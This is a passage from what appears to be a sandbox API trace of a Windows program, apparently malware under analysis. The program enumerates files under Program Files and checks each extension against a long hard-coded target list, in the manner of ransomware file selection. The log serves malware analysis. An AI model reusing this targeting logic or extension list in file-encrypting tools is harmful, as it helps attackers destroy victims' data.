4 [0182.782] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".crw") returned 4 [0182.782] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".cs") returned 3 [0182.782] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0182.782] lstrlenW (lpString=".css") returned 4 [0182.782] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".csv") returned 4 [0182.782] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".cub") returned 4 [0182.782] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".dae") returned 4 [0182.782] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".dat") returned 4 [0182.782] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".db") returned 3 [0182.782] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0182.782] lstrlenW (lpString=".dbf") returned 4 [0182.782] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".dbx") returned 4 [0182.782] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".dc3") returned 4 [0182.782] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".dcm") returned 4 [0182.782] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".dcr") returned 4 [0182.782] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0182.782] lstrlenW (lpString=".der") returned 4 [0182.782] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0182.783] lstrlenW (lpString=".dib") returned 4 [0182.783] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0182.783] lstrlenW (lpString=".dic") returned 4 [0182.783] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0182.783] lstrlenW (lpString=".dif") returned 4 [0182.783] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0182.783] lstrlenW (lpString=".divx") returned 5 [0182.783] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0182.783] lstrlenW (lpString=".djvu") returned 5 [0182.783] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0182.783] lstrlenW (lpString=".dng") returned 4 [0182.783] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0182.783] lstrlenW (lpString=".doc") returned 4 [0182.783] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0182.783] lstrlenW (lpString=".docm") returned 5 [0182.783] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0182.783] lstrlenW (lpString=".docx") returned 5 [0182.783] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0182.783] lstrlenW (lpString=".dot") returned 4 [0182.783] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0182.783] lstrlenW (lpString=".dotm") returned 5 [0182.783] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0182.783] lstrlenW (lpString=".dotx") returned 5 [0182.783] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0182.783] lstrlenW (lpString=".dpx") returned 4 [0182.783] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0182.783] lstrlenW (lpString=".dqy") returned 4 [0182.783] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0182.783] lstrlenW (lpString=".dsn") returned 4 [0182.783] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0182.783] lstrlenW (lpString=".dt") returned 3 [0182.783] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0182.783] lstrlenW (lpString=".dtd") returned 4 [0182.783] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".dwg") returned 4 [0182.784] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".dwt") returned 4 [0182.784] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".dx") returned 3 [0182.784] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0182.784] lstrlenW (lpString=".dxf") returned 4 [0182.784] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".edml") returned 5 [0182.784] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0182.784] lstrlenW (lpString=".efd") returned 4 [0182.784] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".elf") returned 4 [0182.784] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".emf") returned 4 [0182.784] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".emz") returned 4 [0182.784] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".epf") returned 4 [0182.784] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".eps") returned 4 [0182.784] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".epsf") returned 5 [0182.784] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0182.784] lstrlenW (lpString=".epsp") returned 5 [0182.784] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0182.784] lstrlenW (lpString=".erf") returned 4 [0182.784] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".exr") returned 4 [0182.784] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".f4v") returned 4 [0182.784] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0182.784] lstrlenW (lpString=".fido") returned 5 [0182.784] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0182.785] lstrlenW (lpString=".flm") returned 4 [0182.785] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".flv") returned 4 [0182.785] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".frm") returned 4 [0182.785] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".fxg") returned 4 [0182.785] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".geo") returned 4 [0182.785] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".gif") returned 4 [0182.785] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".grs") returned 4 [0182.785] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".gz") returned 3 [0182.785] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0182.785] lstrlenW (lpString=".h") returned 2 [0182.785] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.785] lstrlenW (lpString=".hdr") returned 4 [0182.785] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".hpp") returned 4 [0182.785] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".hta") returned 4 [0182.785] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".htc") returned 4 [0182.785] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".htm") returned 4 [0182.785] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0182.785] lstrlenW (lpString=".html") returned 5 [0182.786] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0182.786] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0182.786] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0182.786] lstrlenW (lpString=".1cd") returned 4 [0182.786] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.786] lstrlenW (lpString=".3ds") returned 4 [0182.786] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0182.786] lstrlenW (lpString=".3fr") returned 4 [0182.786] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0182.786] lstrlenW (lpString=".3g2") returned 4 [0182.786] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0182.786] lstrlenW (lpString=".3gp") returned 4 [0182.786] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0182.786] lstrlenW (lpString=".7z") returned 3 [0182.786] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.786] lstrlenW (lpString=".accda") returned 6 [0182.786] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0182.786] lstrlenW (lpString=".accdb") returned 6 [0182.786] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0182.786] lstrlenW (lpString=".accdc") returned 6 [0182.786] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0182.786] lstrlenW (lpString=".accde") returned 6 [0182.786] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0182.786] lstrlenW (lpString=".accdt") returned 6 [0182.786] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0182.786] lstrlenW (lpString=".accdw") returned 6 [0182.786] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0182.786] lstrlenW (lpString=".adb") returned 4 [0182.786] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0182.786] lstrlenW (lpString=".adp") returned 4 [0182.786] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0182.786] lstrlenW (lpString=".ai") returned 3 [0182.787] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0182.787] lstrlenW (lpString=".ai3") returned 4 [0182.787] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0182.787] lstrlenW (lpString=".ai4") returned 4 [0182.787] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0182.787] lstrlenW (lpString=".ai5") returned 4 [0182.787] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0182.787] lstrlenW (lpString=".ai6") returned 4 [0182.787] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0182.787] lstrlenW (lpString=".ai7") returned 4 [0182.787] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0182.787] lstrlenW (lpString=".ai8") returned 4 [0182.787] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0182.787] lstrlenW (lpString=".anim") returned 5 [0182.787] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0182.787] lstrlenW (lpString=".arw") returned 4 [0182.787] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0182.787] lstrlenW (lpString=".as") returned 3 [0182.787] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0182.787] lstrlenW (lpString=".asa") returned 4 [0182.787] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0182.787] lstrlenW (lpString=".asc") returned 4 [0182.787] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0182.787] lstrlenW (lpString=".ascx") returned 5 [0182.787] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0182.787] lstrlenW (lpString=".asm") returned 4 [0182.787] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0182.787] lstrlenW (lpString=".asmx") returned 5 [0182.787] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0182.788] lstrlenW (lpString=".asp") returned 4 [0182.788] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0182.788] lstrlenW (lpString=".aspx") returned 5 [0182.788] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0182.788] lstrlenW (lpString=".asr") returned 4 [0182.788] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0182.788] lstrlenW (lpString=".asx") returned 4 [0182.788] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0182.788] lstrlenW (lpString=".avi") returned 4 [0182.788] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0182.788] lstrlenW (lpString=".avs") returned 4 [0182.788] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0182.788] lstrlenW (lpString=".backup") returned 7 [0182.788] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0182.788] lstrlenW (lpString=".bak") returned 4 [0182.788] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0182.788] lstrlenW (lpString=".bay") returned 4 [0182.788] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0182.788] lstrlenW (lpString=".bd") returned 3 [0182.788] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0182.788] lstrlenW (lpString=".bin") returned 4 [0182.788] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0182.788] lstrlenW (lpString=".bmp") returned 4 [0182.788] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0182.788] lstrlenW (lpString=".bz2") returned 4 [0182.788] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.788] lstrlenW (lpString=".c") returned 2 [0182.788] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.789] lstrlenW (lpString=".cdr") returned 4 [0182.789] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".cer") returned 4 [0182.789] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".cf") returned 3 [0182.789] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.789] lstrlenW (lpString=".cfc") returned 4 [0182.789] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".cfm") returned 4 [0182.789] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".cfml") returned 5 [0182.789] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.789] lstrlenW (lpString=".cfu") returned 4 [0182.789] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".chm") returned 4 [0182.789] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".cin") returned 4 [0182.789] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".class") returned 6 [0182.789] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.789] lstrlenW (lpString=".clx") returned 4 [0182.789] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".config") returned 7 [0182.789] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.789] lstrlenW (lpString=".cpp") returned 4 [0182.789] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".cr2") returned 4 [0182.789] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".crt") returned 4 [0182.789] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".crw") returned 4 [0182.789] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.789] lstrlenW (lpString=".cs") returned 3 [0182.790] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.790] lstrlenW (lpString=".css") returned 4 [0182.790] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".csv") returned 4 [0182.790] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".cub") returned 4 [0182.790] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".dae") returned 4 [0182.790] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".dat") returned 4 [0182.790] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".db") returned 3 [0182.790] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.790] lstrlenW (lpString=".dbf") returned 4 [0182.790] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".dbx") returned 4 [0182.790] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".dc3") returned 4 [0182.790] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".dcm") returned 4 [0182.790] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".dcr") returned 4 [0182.790] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".der") returned 4 [0182.790] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".dib") returned 4 [0182.790] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".dic") returned 4 [0182.790] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".dif") returned 4 [0182.790] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.790] lstrlenW (lpString=".divx") returned 5 [0182.790] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.790] lstrlenW (lpString=".djvu") returned 5 [0182.791] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.791] lstrlenW (lpString=".dng") returned 4 [0182.791] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.791] lstrlenW (lpString=".doc") returned 4 [0182.791] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.791] lstrlenW (lpString=".docm") returned 5 [0182.791] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.791] lstrlenW (lpString=".docx") returned 5 [0182.791] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.791] lstrlenW (lpString=".dot") returned 4 [0182.791] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.791] lstrlenW (lpString=".dotm") returned 5 [0182.791] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.791] lstrlenW (lpString=".dotx") returned 5 [0182.791] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.791] lstrlenW (lpString=".dpx") returned 4 [0182.791] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.791] lstrlenW (lpString=".dqy") returned 4 [0182.791] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.791] lstrlenW (lpString=".dsn") returned 4 [0182.791] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.791] lstrlenW (lpString=".dt") returned 3 [0182.791] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.791] lstrlenW (lpString=".dtd") returned 4 [0182.791] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.791] lstrlenW (lpString=".dwg") returned 4 [0182.791] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.791] lstrlenW (lpString=".dwt") returned 4 [0182.791] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.791] lstrlenW (lpString=".dx") returned 3 [0182.791] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.791] lstrlenW (lpString=".dxf") returned 4 [0182.791] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.791] lstrlenW (lpString=".edml") returned 5 [0182.791] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.792] lstrlenW (lpString=".efd") returned 4 [0182.792] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".elf") returned 4 [0182.792] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".emf") returned 4 [0182.792] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".emz") returned 4 [0182.792] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".epf") returned 4 [0182.792] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".eps") returned 4 [0182.792] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".epsf") returned 5 [0182.792] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.792] lstrlenW (lpString=".epsp") returned 5 [0182.792] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0182.792] lstrlenW (lpString=".erf") returned 4 [0182.792] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".exr") returned 4 [0182.792] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".f4v") returned 4 [0182.792] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".fido") returned 5 [0182.792] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.792] lstrlenW (lpString=".flm") returned 4 [0182.792] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".flv") returned 4 [0182.792] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".frm") returned 4 [0182.792] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".fxg") returned 4 [0182.792] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".geo") returned 4 [0182.792] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.792] lstrlenW (lpString=".gif") returned 4 [0182.793] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.793] lstrlenW (lpString=".grs") returned 4 [0182.793] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.793] lstrlenW (lpString=".gz") returned 3 [0182.793] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.793] lstrlenW (lpString=".h") returned 2 [0182.793] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.793] lstrlenW (lpString=".hdr") returned 4 [0182.793] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.793] lstrlenW (lpString=".hpp") returned 4 [0182.793] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.793] lstrlenW (lpString=".hta") returned 4 [0182.793] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.793] lstrlenW (lpString=".htc") returned 4 [0182.793] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.793] lstrlenW (lpString=".htm") returned 4 [0182.793] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0182.793] lstrlenW (lpString=".html") returned 5 [0182.793] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0182.793] lstrlenW (lpString=".icb") returned 4 [0182.793] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0182.793] lstrlenW (lpString=".ics") returned 4 [0182.793] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0182.793] lstrlenW (lpString=".iff") returned 4 [0182.793] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0182.793] lstrlenW (lpString=".inc") returned 4 [0182.793] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0182.793] lstrlenW (lpString=".indd") returned 5 [0182.793] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0182.794] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.794] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.794] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.794] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0182.795] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0182.795] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1 [0182.795] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0182.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0182.797] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0182.797] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0182.797] 